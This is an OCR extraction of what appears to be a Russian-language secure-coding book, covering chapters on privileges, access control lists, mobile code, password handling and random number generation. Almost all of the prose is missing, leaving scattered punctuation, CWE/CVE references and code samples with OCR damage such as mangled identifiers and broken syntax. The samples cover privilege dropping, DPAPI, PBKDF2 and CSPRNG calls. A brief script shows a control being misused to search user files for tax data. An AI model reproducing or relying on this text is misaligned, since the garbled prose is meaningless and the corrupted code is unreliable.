, ( ,
)
. . .

CWE
CWE ,
, CWE-250:
. :
CWE-269:
CWE-271: .
CWE-250,
.


! , ,
. (, .NET Java)
,

,
.

, , .
1975 , ,
: .
:

, .

, , ,
,
.
, .
,
.
.
, Windows
,
ACL .

284

16

Windows ;
Windows
Windows Vista.
Linux, BSD Mac OS X ,
, (uid) (gid )
, Linux 2.4 IEEE ..
, , .
,
:
,
,
.
,
. ,
1024
Linux Windows.
,
, ?
,
,
! ,
,
.


,
ACL (Access Control List) .
,
, ; Windows:
C:\Foo>icacls .
. C0MPUTER\Admi ni strator:(F)
NT AUTHORITY\SYSTEM:(F)
BUILTINXAdmi ni strators:(F)

UNIX, BSD, Linux Mac OS X:


drwxr--r--

root wheel

264 Sep 10 11:48 Foo

.
,
root, ,
,
.
17.
, , ,
, ,

265

. 11,
CWE-273:
.


,
, root.

- , , - . ,
(,
, )
.


.
, ,
, ;
.


.
,
. Windows (token)

(, Process Explorer Microsoft).
, ,
; ,
(Bypass Traversal Checking),
ChangeNotify. . 16.1
Windows Media, .
Windows Media ,
, ,
.
MacOS X, BSD Linux ps
, root wheel. ,
:
os -U root |

ps -G wheel | |

in

i p e x i b

wmplayer.eKe:2648 Properties
Performance
Security

Image
TCP/IP

Performance Graph

Threads

Environment

Strings

User:

MYKEWIPCVnichael

SID:

5-1-5-21-746137067-764733703-1343024091-1003

Session: 0 '

||!

flag*
Mandatory
Mandatory
Mandatory
Mandatory
Owner

Everyone
LOCAL
NT AUTH0 RITYNAuthenticated Users
MYKEWLPC\None
UILTINSAdministrators
DJ III. TIKll.l 1

Group SID: .^1-5-5-0-39183

Privilege
;
I Flag*
Disabled
SeBackupPrivilege
SeChangeNotifyPrivdege
Default Enabled
Default Enabled
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
Disabled
Disabled
SeDebugPrivilege
Sel mpersonatePrivilege
Default Enabled
Sel ncreaseBasePriorilyPrivilege Disabled
Sel ncreaseQuotaPrivilege
Disabled
SeLoadDriverPrivileoe
Enabled

zJ
Permissions

OK

Cancel

(. 16 .1. Windows,

,
; . -
,

. - , Windows,
Windows Vista,
.
Apple iPhone, Mac OS X
root.

1
! ,
,
,

267

. :
, .

, , ,
.

Windows, C++
Windows.

; Windows Vista:
,
. 2009
BeyondTrust, , 92%
Microsoft
,
Windows Vista Windows 7.


. ,
.
:
DWORD DropPrivs(_In_count_(cPrivs) LPCWSTR *wszPrivs.
const DWORD cPrivs) {
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess().
TOKEN_ADJUST_PRIVILEGES.
&hToken))
return GetLastErrorO;
//
if((INT_MAX - sizeof(TOKEN_PRIVILEGES))/sizeof(LUID_AND_ATTRIBUTES)
< cPrivs)
return ERROR_BAD_ARGUMENTS;
size_t cbBuff = sizeof(TOKEN_PRIVILEGES) +
(cPrivs - 1) *
sizeof (LUID_AND_ATTRIBUTES):
BYTE *pPriv = new BYTE[cbBuff]:
PT0KEN_PRIVILEGES pTokenPrivileges = (PTOKEN_PRIVILEGES)pPriv;
pTokenPrivileges->PrivilegeCount = cPrivs:
for (DWORD i=0; i< cPrivs: i++ ) {
if (!LookupPrivilegeValue(0.
wszPrivs[i],
&pTokenPrivileges->Privileges[i].Luid)) {
delete [] pPriv;
return GetLastErrorO;

pTokenPri vi1eges->Pri vi1eges[i].Attri butes = SE_PRIVILEGE_REMOVED;

268

16

}
//
// ERROR_NOT_ALL_ASSIGNED.
// .
DWORD err = ERROR_SUCCESS;
if ( !AdjustTokenPrivileges ( hToken, FALSE,
pTokenPrivileges.
0.NULL.NULL ))
if (GetLastErrorO != ERROR_NOT_ALL_ASSIGNED)
err = GetLastErrorO;
delete [] pPriv;
pPriv = NULL;
if (hToken) CloseHandle(hToken);
return err;

}
int wmain(int argc. wchar_t* argv[]) {
LPCWSTR wszPrivs [] = {
SE_TAKE_OWNERSHIP_NAME. SE_DEBUG_NAME.
SE_CREATE_TOKEN_NAME. SE_ASSIGNPRIMARYTOKEN_NAME.
SE_TCB_NAME, SE_SECURITY_NAME.
SE_LOAD_DRIVER_NAME. SE_SYSTEMTIME_NAME.
SE_BACKUP_NAME, SE_RESTORE_NAME.
SE_SHUTDOWN_NAME. SE_AUDIT_NAME};
DWORD err = DropPrivs(wszPrivs. _countof(wszPrivs));
// ..

Windows,
: GetTokenlnformationO
,
,
, SE_PRIVILEGE_REMOVED.
,
,

.
Windows ( UNIX)
.
:
//
SERVICE_REQUIRED_PRIVILEGES_INFOW servicePrivileges;
servi cePri vi1eges.pmszRequi redPri vi 1eges =
(L"SeChangeNoti fyPri vilege\0"
L"SeCreateGlobalPri vi1ege\0");
BOOL fRet = ChangeServiceConfig2(
schService.

269

SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO.
&servicePrivileges);

Windows,
.
blogs.msdn.com/david_leblanc.

Linux, BSD Mac OS X


Windows, (
)
;
, .
, (capabilities)
,
. ,
,
(CAP KILL); Linux,
Linux.
libcap setpcaps ( capsetp)
.
, ntpd.
,
CAP SYS TIME ( )
CAP NET BIND SERVICE ( UDP/123). ,
ntpd root.
, Linux,
BSD Mac OS X Apache httpd:
Apache root, 80,
;
httpd,
nobody www,
. Apache
fork (), setgid() setuid()
.
Web (, nobody)
, Apache.
Apache, .
.

,
setgidO. Linux:
games, , ,
games,
.

270

16 "

.NET
Microsoft .NET Runtime
.
, #,
.

[SocketPermi ss ion(Securi tyActi o n .Deny)]


,
.

The Protection of Information in Computer Systems: http://web.mit.edu/Saltzer/


www/publications/protection/
Sysinternals Process Explorer: http://technet.microsoft.com/en-us/sysintemals/
bb896653.aspx
New R eport Shows 92 P ercent of C ritical M icrosoft V ulnerabilities Are
M itigated by Elim inating Admin Rights: www.beyondtrust.com/com panyj
pressreleases/03Feb2009.aspx
Practical Windows Sandboxing: http://blogs.m sdn.com /david_leblanc/archive/2007/0 7 /2 7 /practical-windows-sandboxing-part-1 .aspx


.
.
root
, , .
,
.
(capabilities) Linux BSD.


, ,
. !
12,
.
,
( ).
,
, .
,
.
: , ,
.

272

17

CWE
CWE ,
, CWE-693:
.
:
CW E-311: .
CWE-284: ().
CWE-275: .


:
.

, , , : (1)
, (2)
.
.


;
, . ,
, , ,
,
, Windows UNIX.
,
, ,
.

. Windows
,
(ACL, Access Control List). ACL,
, .
, , ACL
, ,
.

273

ACL Windows
Windows
(SD, Security Descriptor); ,
, .

ACL. ACL ( ),
ACL (DACL),
. ACL, ACL
(SACL), , Windows
Vista SACL
(integrity levels). DACL (Ac
cess Control Entry); (,
) , ,
. , DACL
:
: .
: .
: , , .
: .
, ,
; , ,
. .
ACL .
, ,
Windows Internals .

UNIX
, ACL Linux, UNIX,
BSD Mac OS X IEEE 1003.1 ( POSIX.le);
1003.1 . ,
(, FreeBSD 7.0) ACL.
HFS Plus Apple OS X 10.4 Tiger,
ACL ,
ACL
chmod. , ACL ;
:

sudo /usr/sbin/fsaclctl - / -
ACL , ,
Linux, UNIX Mac OS X, -. Windows
, (
), ,
(//).

274

17

, ,
. ,
, . Linux ext2 ( )
,
.
:

-rw----

cheryl staff

0123456789

0 9;
( cheryl) (staff).
0 : "d" , directory, "1"
"-" .
1-3 ("rwx") .
4 -6 (" - -") .
7 -9 ("--")
.
"" , "w" , "" .
, .
1 9 ,
:

rwx -- -,
.
.


( ) : ,
( Windows Everyone, UNIX
).
.
,
. ,
, , ,
root localsystem. - ,
- suid root Linux, BSD Mac OS X
. Win
dows ,
,
:

Everyone (Write)
, ,
, Microsoft

275

, Systems Management
Server Windows 2000 (MS00-012).
CVE-2000-0100 .
, ,
,
. ,
.
Windows ,
.
localsystem,
. ,

, ACL .
, ACL
,
.
,

.
, . ,
,
. ,
. 100% ,
,

, ,
.

.
SNMP (Simple Network Management Protocol,
Security Not My Problem, )
Windows 2000 .
,
.
, ,
. ,
.
SNMP ,
, .

, .
,
.
,
.

27G

17

ACL ,
,
. , ACL :

Guests: Deny All


Administrators: Allow All
Users: Allow Read
, -
( ).
,
deny .
Windows deny
, Windows
.

UNIX ,

.


FAT CDFS
.
.

,
, . .



. ,
,
, CDFS FAT. ,
: , ,
, ,
. LiveCD.
, .
:
, ,
.
: . ,
USB FAT,
. ?

277

: , ,
.
, .
.
, .
, - !
, , .


12,
. 13, ,
, . ,
19, ,
,
. 20

, . 21,
,
. ,
!


, :
;
;

;
,
;

(
) ;

,
.
;
21.

278

17


, , : ,
. ,
. ,
. ,

.

C/C++ (Windows)

SetFileSecurity, SetKernelObjectSecurity, SetSecurityDescriptorDacl,


SetServiceObjectSecurity, SetUserObjectSecurity, SECURITY DESCRIPTOR, ConvertStringSecurityDescriptorToSecurity, Descriptor

C/C++ (*nix
Apple Mac OS X)

chmod, fchmod, chown, lchown, fchown, fcntl, setgroups, acl_*

Java

java.security.acl.Acl

.NET

System.Security.AccessControl,
Microsoft.Win32.RegistryKey, AddFileSecurity, AddDirectorySecurity, DiscretionaryAcl, SetAccessControl, AddAccessRule

Perl

chmod, chown

Python

chmod, chown, lchown

Ruby

chmod, chown, chmod R, chown R FileUtils

;
20.


.
, ,
.
UNIX ,
, ; find\
find / -type d -perm +002
find / -type f -perm +002

Windows ACL
, Somarsoft DumpSec ( DumpAcl). ,

:
using System.10:
using System.Security:
using System.Security.AccessControl;

279

jsing System.Security.Principal;
bool IsWeakAceCFileSystemAccessRule ace)

{
// ACE deny
if (ace.AccessControlType == AccessControlType.Deny)
return false:
string principal = ace.IdentityReference.ToStringC).ToLowerO;
string rights = ace.FileSystemRights.ToStringO.ToLowerO;
string[] badPrincipals = {"everyone"."anonymous"."users"}:
string[] badRights = {"fullcontrol".
"createfiles".
"delete".
"changepermissions"}:
foreach(string badPrincipal in badPrincipals) {
if (principal == badPrincipal) {
foreach(string badRight in badRights) {
if (rights.Contains(badRight))
return true:

}
}
}
return false;

}
FileSecurity sd = File.GetAccessControl(file);
foreach (FileSystemAccessRule ace
in sd.GetAccessRules(true.true.typeof(NTAccount))) {
if (IsWeakAce(ace)){
Console.WriteLine(file + " has weak ACL");
Console.WriteLine("\t{0}:{1}".
ace.Identi tyReference, ace.Fi1eSystemRi ghts);
break;

}
}
,
.
, . ,
, ,
(sentinel characters).
, MD4,
MD5 DES.

CVE (Common Vulner


abilities and Exposures) (http://cve.mitre.org/).

280

17

CVE-2000-0100
SMS Remote Control ,

. ,
SMS Remote Control, ,
.

localsystem.
www.microsoft.co7n/technet/security/Bulletin/MS00-012.Tnspx.

CVE-2005-1411
Cybration ICUII . 7.0.0
, ,
c:\program files\icuii\icuii.ini -
ACL .

CVE-2004-0907
Mozilla
, tar,
.
tare ;
tar zcvf SseiFi1eNameSpecifi .tar.gz SmainExe-installer


tar -zcv --owner=0 --group=0 --numeric-owner --mode=,go-w
-f $seiFi1eNameSpecific.tar.gz SmainExe-installer


! ACL.
. , .
Windows SP2 , ACL
\Program Files,
%PR0GRAMFILES%.
HKCU ,
,
SUSERPROFILES.

ACL,
. ,
( ACL?),
ACL.

281

*nix:
, , ,
.
/usr/sbin ,
(~,
).
.
.
, ,
. Windows :
Data Protection API (DPAPI). ,
,
, DPAPI.
DPAPI , .

. ,
.
DPAPI :
. , ;
.

C++ Windows
C++ ,
DPAPI Windows:
DATA_BL0B Data In:
DATA_BL0B DataOut:
BYTE *pbDataInput = GetDataToEncrypt():
DWORD cbDatalnput = strlen((char *)pbDataInput)+l;
Dataln.pbData = pbDatalnput;
Dataln.cbData = cbDatalnput:
if(CryptProtectData(
SDataln.
L"My stuff.",
NULL.
NULL.
NULL.
CRYPTPROTECT_AUDIT.
&DataOut)) {
//
} else {
// !
exit(l);

//
//
//
//
//

NULL
/

282

17

C# Windows
, #,
try

{
byte[] text = Encoding.ASCII.GetBytes(GetDataToEncryptO);
byte[] buffer =
ProtectedData.Protect(
text,
null.
DataProtecti onScope.CurrentUser);
return Convert.ToBase64String(buffer);

catch (CryptographicException e)

{
// !
return null;

}
Linux Mac OS X? GNOME keyring,,
,
. keyring
,
AES
MAC .

C/C++ (GNOME)

GNOME . :
gnome_keyring_store_password;
, .
const gchar *pwd = get_password();
gnome_keyring_store_password(GNOME_KEYRING_NETWORK_PASSWORD,
GNOME_KEYRING_DEFAULT.
_("My Passphrase").
pwd.
password_callback,
NULL. NULL.
"user", "mikey".
"server". "example.org".
NULL):

}

API (, ) .
, !

283


File System Access Control Lists FreeBSD Handbook: www.freebsd.org/doc/en/
books/handbook/fs-acl.html
ACL(3) Introduction to the POSIX.le ACL security API: www.freebsd.org/cgi/man.
cgi?query=acl &sektion=3&manpath= FreeBSD+6.4-RELEASE
Mac OS X 10.4 Tiger Access Control Lists by John Siracusa: http:// arstechnica.
com/apple/reviews/2005/04/macosx-10-4.ars/8
Windows Internals, Fifth Edition by Russinovich, Solomon and Ionescu (Microsoft
Press, 2009).
DumpSec SomarSoft Utilities: www.somarsoft.com/
Bug 254303 1.7.2 tar.gz package has wrong permissions: https://bugzilla.mozilla.
org/showJbug.cgi ?id=254303
GNOME Keyring: http://library.gnome.org/devel/gnome-keyring/stable/

ACL.
ACL .
, .

.
.
,
ACL .
ACL (, Everyone: Full Control)
(, World:Write).
.
:
, . .


,
. ,
.
, .
,
. :
, (, Microsoft Word,
VBScript, JavaScript PDF- Adobe Acrobat
OpenOffice OOBasic).
-, .NET ClickOnce, ActiveX,
Adobe Flash Java.
, - (,
) .
- .
, ,

285


. , -
!
,
- ,
. JavaScript -
, ,
.

.
: ,
. - , ,
.NET, JavaScript Flash.
.
,
. , ,
. Microsoft Office,
Acrobar, OpenOffice . .
VBScript Office; ,
JavaScript OOBasic OpenOffice; .NET ClickOnce,
ActiveX, Flash- Java, .
,
. ,
.
,
,
.
,
:
. -
HTML,
-.
, HTML .
, :
,
, () ,
.
.
, , ,
? ,

<script>
if (get_log("Xuserprofilefc\documents\log.xmr) != 0) {
// -

286

18

function GetLog(log) {
return myObject.FindFi1e(1og):

}
</script>


-, :
<script>
if (getJog(,,userprofile\documents\*.taxM) != 0) {
// TurboTax
// - .

}
function GetLog(log) {
return myObject.Fi ndFi1e(1og);

}
</script>

.
, ,
, , ,
.

CWE
CWE :
CWE-490: .

,
. :
CWE-494: .



,
. , - JavaScript,
Java (!) Java, ActiveX
C++, .NET C# VB.NET.

;
, .

287


,
, - , ( ,
). , ActiveX
,
, Java
. ActiveX,
,
. , (, )
, .


, :


.
.

, ,
, .
,
; .

,
,
.


:
14, ,
.
16, ,
,
.
24, ,
,
( ).
, , ,
; , ActiveX
5.

288

18


,
. , ,
, !
,
.

:
(VBScript, JavaScript, Perl
. .) - (, Java .NET).

.
,
.
,
:
,
, .
, .



, . ,
,
. , Windows
:

CreateJobObject

CreateProcessAsllser

CreateDesktop CreateDesktopEx

SetProcessWi ndowStati on

CreateRestrictedToken

,
SID:

S-l-16-xxrxr ( , S-1-16-4096);
S D D L _ M L _ x o x ( , SDDL_ML_LOW).
Linux Mac OS X ,
,
, SELinux.

289

Linux Mac OS X
chroot (chroot jail).
, , :

chroot;

setgid.
API ,
,
.
,
.
;
,
.
( 5) ActiveX, C++.

setuid


,
,
ActiveX, C++.

() ActiveX.
,
, ,
(, GetAddressBook),
(
, RebootComputer).
Windows Process Explorer
, , , ,
.

CVE (Common Vulnerabilities and Exposures) (http://eve.mitre,


org/ ) ;
, .

CVE-2006-2198
OpenOffice ( StarOffice)
OpenOffice .

290

18

CVE-2008 1472
: ActiveX,
C++. AddColumr
ActiveX ListCtrl.ocx, - Com
puter Associates. .

CVE-2008-5697
Firefox Skype,

.


,
: .


,
. ,
,
.
, ,
:
-
, ?
Windows

Windows Vista API


. :
, ,
,
. ,
Windows:
Microsoft Internet Explorer 7.0 .
MOICE (Microsoft Office Isolated Conversion Environment).
Google Chrome.
-,
:

, ( CreateProcess-

291


(IPC ),
.
(
CreateRestrictedToken) , :
(
16);
SID (,
).
Windows (
CreateDesktop),
.
(SetTokenlnformati o n ,
TokenlntegrityLevel,...))
.
(CreateJobObject)
(AssignProcessToJobObject)
(SetlnformationJobObject) , ,
,

AsUser).

chroot

chroot (Change Root)


.
,
, root,
:
:hdi { _ ):
:hroot { _ 6 );
setresgid{ UID);
setresuid{ UID):
chroot mot
CAP_SYS_CHR00T,

. ,
set[u|g]id
.
Setuid Demystified ( ) ,

,
; , ( )
root .
.
.

292

18



.
:
Microsoft .NET.
Sun Java.

,
. ,
ActiveX Firefox , ,
, :
. ,
,
,
.


, ,
, ! , ,
ActiveX:
(sitelocking), ,
ActiveX. , Microsoft
, .
, 24.
,
- HTTP
( ), HTTPS,
, HTTP. ,
XSS ( 2).

XSS.
, .
,
.


Common Weakness Enumeration: http://cwe.mitre.org/
Windows Vista. . , . (,
, 2008).

293

D avid L e B la n c s Web Log: h ttp ://b lo g s .m s d n .c o m /d a v id _ le b la n c /a r chive/2007/05/08/new-file-converter-coming-soon.aspx


Chromium Developer Documentation: Sandbox: http://dev.chromium.org/develop
ers/design-documents/sandbox
Best Practices for UNIX chroot() Operations: http://unixwiz.net/techtips/chrootpractices.html
Setuid Demystified by Chen, Wagner, and Dean: www.cs.berkeley.edu/~daw/
papers/setuid-usenix02.pdf
SiteLock 1.15 Template for ActiveX Controls: www.microsoft.com/downloads/
details.aspx?FamilyID=43cd7e 1e-5719-45c0-88d9-ec9ea 7fefbcb &DisplayLang=en
Developing Safer ActiveX Controls Using the Sitelock Template: http://blogs.msdn.
/ i e / archive/2007/0 9 /1 8 /developing-safer-activex-controls-using-the-sitelocktemplate.aspx
Designing Secure ActiveX Controls: http://msdn.microsoft.com/en-us/libraiy/
aa752035. aspx
Hunting Security Bugs by Gallagher et al. (Microsoft Press, 2006), Chapter 18,
ActiveX Repurposing Attacks.

,
, .NET Java.

.
.

.

.
ActiveX.
.



.
, -,
, .
,
,
. ,
; ,
!
.
,
. , ,
(PKI, Public Key
Infrastructure). ,
; , Live
, Microsoft, , , , - .

298

19

,
.
;
,
.

CWE
CW E CWE-255:
.
:
CWE-259: .
CWE-261: .
CWE-262: .
CWE-263: .
CWE-521: .
CWE-522: .
CWE-620: .
CWE-549: .
CWE-640: .

:
.
.
.
.
.
.
.
-.

299

,
.
.
.
.


,
.
,
. ,
, .
, ,
,
, .
,
! ,
,
. , ,
.
- ,
,
. ,
,

.


.
,
: , password (
, ,
) , , .
, ,
,
, , ,
dolphin.
:
.
,
, -
.

300

19


,
, Myjune08Password MyAugust08Password. ,

1. , ,
1/4 1/3
. , : ,
.


,
:
.
. , ,
- , .
, :
, ,
,
,
, .
, ,

( ).


; ,
.
( )
, .
,
.



.
,
.
,
,
.
,

301

,
. ,
.
(MITM, Man-In-The-Middle).
MITM; ,
.
.


. .
,
.


cookie , .
4.

-
, , .
;
SQL;
. . ,
,
. ,
, :
, , ,
! ,
,
.
, ,
- . , , .

-
- . :
-,
, ,
,
(rainbow tables).
,
. ,
,
,

302

19

. , - ,
, , ,
, .

,
. ,
,
.



: ,
.
, .

,
.
:
,
(5 ) (5 ).
, 26
141 . , ,
,
11 .

. , :
SELECT count(user). pwd FROM user_table WHERE user == $username INTO tmp
If ROWS(tmp) == 1 AND HASH(pwd) == HASH(Spwd)
Slogon = true
Else
Slogon = false

, , ,

.
, :

, .


,
.

303

;
.


, .
(, -
)
, , .


, ,
, 23.
, , ,
(. 24), , ,
(. 22).



, ;
. ,
.


, ,
, .
,
.
-.


, .
?
:
, ,
.



, : -,

304

19

-, -,

.


: ,
, . ,
.


? , ,
. ,
,
: ?
,
.
(Jason Garms) Windows :
,
.



. ,
:
? ,
, ,
( , SSL/TLS).
, ,
.

; , NTLM (Windows)
,
NTLM HTTP.

-.


,
(KDF, Key Derivation Function). , KDF,
21. , KDF
. RFC 2898,

305

KDF PBKDF2. ,
KDDF, ,
( ,
).

-
: - .
, 17
.
, .


, , ,
, .
, :
.
.
.
(
).
.


: , . .
, . , .


, ,
, ,
:
?
?
?
?
?

?

306

19

? ,
?
?
?


, ,
, .


, ,
. , ,
. ,
.
, ,
,
.
, ,
.
: ,
, .

: .
.

, .


,
. SSL/TLS,
SSL ,
. , ,
.


, ,
.
.
,
,

307

1000, .

.
, ,
, , -
, !

, -,
CVE. ,
.

!
ADDCO,
, .
,
. , :
.

Microsoft Office
Microsoft Word .
, .

308

19

Word , ,
.
,
,
.
Microsoft PowerPoint
, .
- ,
MSOFFCRYPTO MS-PPT,
.

Adobe Acrobat
21. ,


.

WU-ftpd
FT P- WU-ftpd
.
, FTP,
.

CVE-2005-1505
Mac OS X 10.4
. IMAP (Internet
Message Access Protocol), , SSL/TLS
. ,

SSL/TLS.
.
, ,

.
IMAP POP (Post Office Protocol)
. ,
.
,
SSL/TLS, .
,
- .

309

CVE-2005-0432
: BEA WebLogic
7 8
. ,
,
, .

TENEX

TENEX. ,
,
:
for i from 0 to 1eni_) \
if i >= \{ ) then return fail
if _{\'\ != _{.~\ then return fail
# "" "aardvark"
if i < len(actual_password) then return fail
return success!

,
.
,
. ,
,
.
. ,

.

.
, .


2008
Yahoo! -
. - , Yahoo!
,
, , -,
.

310

19

. , - PIN-,
- ( ,
) PIN- , -
.
, , ,
, . ,
.



! ...
.
-. -
, .
- ,
, ,
.
,
SSL/TLS;
.



.
, .
,
.



, .
, ,
, .


, .
, ,
. , ,
.
,
.

311

, ,

. :
1990- Microsoft 24 .
, 25
. ,
.
, ,
, !


.
,
:
, ( )
.



(, SSL/TLS
IPSec).



, PBKDF2,
RFC 2898.
: RFC 2898
1000. , RFC,
Office 2007 50 000 ,
100 000.
(salt).
RFC 2898 8 ,
16! ,
.
PBKDF2.
, ,
(Hash Message Authentication Code).
, Python
:
import hmac. sha. struct
def PBKDF2(password. salt. ic=10000. outlen=16, digest=sha):
m = hmac.HMAC(key=password.digestmod=digest)

312

19

1 = outlen / digest.digestsize
if outlen %digest.digestsize:
1
T

= 1 + 1

for i in range(0.1):
h = m.copyO
h.update(salt + struct.packC'!I". i+1))
state = h.digestO
for i in ranged, ic):
h = m.copyO
h.update(state)
next = h.digestO
r =
for i in rangeden(state)):
r += chr(ord(state[i]) * ord(next[i]))
state = r
T += state
return T[:outlen]

He : , ,
PBKDF2.
os .urandom(8),
.
,
- . :
def validate(typed_password. salt, validator):
if PBKDF2(typed_password. salt) == validator:
return True
else:
return False

.NET :
static string GetPBKDF2(string pwd, byte[] salt, int iter) {
PasswordDeriveBytes p =
new PasswordDeriveBytes(pwd. salt. "SHAl". iter);
return Convert.ToBase64Stri ng(p .GetBytes(20)):



.
, , . ,
,
.

. -
PIN-,
PIN- . -

,

313

.
,
.

, ,
.



. ,
TENEX. ,
,
. , ,
.



,
. , ,

, .
, , (
),
,
.
, ,
.
, ,
-.
,
. ,
, , ,
,
( 19) .
,
.


:
,
.
. :

314

19

( ,
Palm Pilot ).
-
. , OPIE (One
time Passwords In Everything) S/KEY.
,
( -) ,
.


PKCS #5: Password-Based Cryptography Standard: www.rsasecurity.com/rsalabs/
node.asp ?id=212 7
Password Minder Internals by Keith Brown: http://msdn.microsoft.com/msdnmag/
issues/04/1 0 /Security Briefs/
Inside Programmable Road Signs: www.i-hacked.com/content/view/274/1/

,
(,
SSL/TLS).
,
, .
.

, .
,
.
.

. ,

.
.
.
.
.
PBKDF2,
.

31S

.
,
.
.
.
.
,

.

, .
. ,
. ,
, .
.
,
, . . ,
, (
)
, - (.
).

CWE
CWE ,
, :
CWE-330: .

CWE-331:
CWE-334:
CWE-335:
CWE-338:
CWE-340:
CWE-341:
CWE-342:
CWE-343:

317

.
.
.
.
.
.
.
.


,
, ,
.

, ,
.
.
, -.
cookie .
, .
cookie , 12,
cookie, 11 ,
. ,
,
.
SSL.
,
, .
, ,
,
.
,
:
- (- ).
().
(),
.

318

20

-

, .
. ,
, -.
.
API
: ,
, .

, .
,
.
,
, .
,
,
.
-
. ,
,
. . ,

. -
232 . ,
( ),
. ,

(
32).
,
. ,
,

(),
XOR.
,
, , ,
.


()
:

319

.
, .
, ,
4000 ,
4001- , - .
, .
, ,
, .
,
. 1/224
, 1/224
. 24- ,
128- . ,
, .
.
. , RC4 ,
XOR
. ,
.

,
. ,
:
(),
.
, .
.
,

. , 256- AES (Advanced
Encryption Standard), 128 ,
RC4. , RC4
128- ,
30 .
,
,
.



-,
,
()?

320

20

, .
,
. ,
. ,
.
, . ,

, ,
. ,

,
.
.
( )
, .

, ,
, .
, .

.
, , (,
), .
^, ,
.
.

.



. , SSL/TLS
,
. .


,
( ). ,
,
.

321


:
, ( ).
, .
, ,
.


, , ,
. ,
. ,
,
. - ;
( ).
,
.
.
,
.
,
.


, - , ,
.
, .
, -
API ,
. . 20.1
API, .
20 .1. (-) API

API

and C++

rand(), random(), seed(), initstate(), setstate(), drand48(),


erand48(), jrand48(), lrand48(), mrand48(), nrand48(), lcong48()
seed48()

Windows

U uidCreateSequential

C# and VB.NET

Random
&

322

20

20.1 ()

API

Java

java.util.Random

JavaScript

Math.random()

VBScript

Rnd

Python

random whrandom

Ruby

rand()

Perl

rand() srand()

PHP

rand(), srandQ, mt_rand() mt_srand()

API,
, .
.
( AES) (counter mode).
ANSI 9.17.

.


, ,
. , Java,
API ,

.
( Java
SecureRandom; . Java ). ,
.NET Framework .
,
.
, ,
.

. (
.) ,

.
,
(
), ,
(
).

323



,
,
.

() FIPS (Federal Information Processing Standard) 140-1.
,
. ,
.
, FIPS, , ,
. ,
,
,
100% .
, ,

.
(64 ), , .
.
, .

,
. , ,
.

TCP/IP
, TCP/IP,
.
.
,
Strange Attractors and T C P /IP Sequence Number Analysis.

ODF
CVE ,
ISO,
. ISO /IE C 26300
17.3 ().
:
1. 20- SHA1-
, .

324

20

2.
.
3. 8-
16- .
4. 20- SH1-
128- .
PBKDF2 SHA-1 (. [RFC2898]) , 1024.
5.
Blowfish CFB (Cipher-Feedback).
.
,
STORED DEFLATED. 'STORED'
,
. ,
Zip- .
, , 2:
,
, .
ISO ,
. -, ,
SHA1.
.
,
( ),
.

,
(,
).
.
,

. , ,
, .
,
,
.
, (
Blowhfish),
XML
. ,
.

325

CVE-2008-0166: Debian
, ,
. ,
,
OpenSSL. ,
, !
,
.
,
,
OpenSSH SSL/TLS.
Debian
Metasploit,
.

Netscape
1996 (Ian Goldberg) (David Wagner)
, SSL Netscape ,
MD5 (Message Digest 5) ,
.
1996 25 .
.
Netscape SSL . (
SSL Netscape 2.)
, ,
, Netscape
. , :
3 ,
.


.
, ,

, ,
( , 192- 256- Windows
).

Windows, C++
Windows CryptoAPI CryptGenRandcm() ( BCryptGenRandom()
Windows Vista CNG),

326

20

. ,
,
.
. -,
CryptAcqui reContext , ,
. -,
122 , UuidCreate
128- GUID, 6
.
.

:
#include <wincrypt.h>
void GetRandomBytes(BYTE *pbBuffer, DWORD dwLen) {
HCRYPTPROV hProvider;
if (!CryptAcquireContextC&hProvider. 0. 0.
PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
ExitProcess((UINT)-l);
if (!CryptGenRandomChProvider, dwLen, pbBuffer)) {
ExitProcess((UINT)-l):

Windows TPM (Trusted Platform Module)


( , Windows Vista
) ,
.
, .

Tbsip_Submit_Command():
#define MAX_RNG_BUFF 64
Idefine TPM_RNG_OFFSET 14
HRESULT TpmGetRandomData(
TBS_HCONTEXT hContext.
_Inout_bytecap_(cData) BYTE *pData.
UINT32 cData) {
if (!hContext || IpData || !cData || cData > MAX_RNG_BUFF)
return HRESULT_FROM_WIN32(ERR0R_INVALID_PARAMETER):
BYTE
bCmd[] = {0x00.
Oxcl.
//
TPM_TAG_RQU_COMMAND
0x00,
0x00. 0x00.OxOe.
//

0x00.
0x00. 0x00.0x46.
// TPM API: TPM_ORD_GetRandom
0x00.
0x00. 0x00.(BYTE)cData};//
UINT32 cbCmd = sizeof bCmd;
BYTE
bResult[128] = {0};
UINT32 cbResult = sizeof bResult;
HRESULT hr = Tbsip_Submit_Command(hContext,
TBS COMMAND LOCALITY ZERO.

327

TBS_COMMAND_PRIORITY_NORMAL.
bCmd.
cbCmd.
bResult.
&cbResult);
if (SUCCEEDED(hr))
memcpy(pData,TPM_RNG_OFFSET+bResult.cData);
return hr;

}
TPM
Windows Vista ( ).
, Windows Vista SP1
,
.

.NET

#:

Random

usi ng System.Security.Cryptography;
try {
byte[] b = new byte[32];
new RNGCryptoServiceProvider().GetBytes(b);
// b 32
} catch(CryptographicException e) {
//

}
VB.NET:
Imports System.Securi ty.Cryptography
Dim b(32) As Byte
Dim i As Short
Try
Dim r As New RNGCryptoServiceProvider()
r.GetBytes(b)
' b 32
Catch As CryptographicException

End Try

, .NET
Windows. ,
RNGCryptoServi ceProvi der()
Mono , Windows.

UNIX
UNIX
.

328

20

( /dev/random / dev/urandom, OpenBSD /d e v /r a n


dom /dev/urandom). ,
. ,
,
, 256
. Windows, ,
, (
, ).
/dev/random /dev/urandom .
,
, . ,
,
. ,
: /dev/random
,
. , .
,
, , .
,
, /dev/random.
/dev/urandom.

. Python:
f = open('/dev/urandom') # ,
data = f .read(128) # 128
# data.

os.urandomO Python
, UNIX
CryptGenRandomC) Windows.

Java
Microsoft .NET, Java . Java API

,
. , ,
.
Java (JV M )
, .
Java ,
;
( ). , Java
.
, ,
SecureRandom

329

. ,
.
, ,
!
SecureRandom .
(nextBytes),
(nextBoolean), Double (nextDouble), Float (nextFloat), Int (nextlnt) Long
(nextLong). (nextGaussi) .
, (
),
. :

import

java.security.SecureRandom:

byte test[20]:
SecureRandom crng = new SecureRandom();
crng.nextBytes(test);


, - (, -)
,
.

(, AES). 128-
AES 128- . 16
. ,
, .
. , , 400 000- ,
. ( API
.)

.
(counter mode).



, .
. , ,
,
.

330

20


.
!
, ,
(, PBKDF2)
.


How We Learned to Cheat at Online Poker, by Brad Arkin, Frank Hill, Scott
Marks, M att Schmid, Thomas John Walls, and Gary McGraw: www.cigital.com/
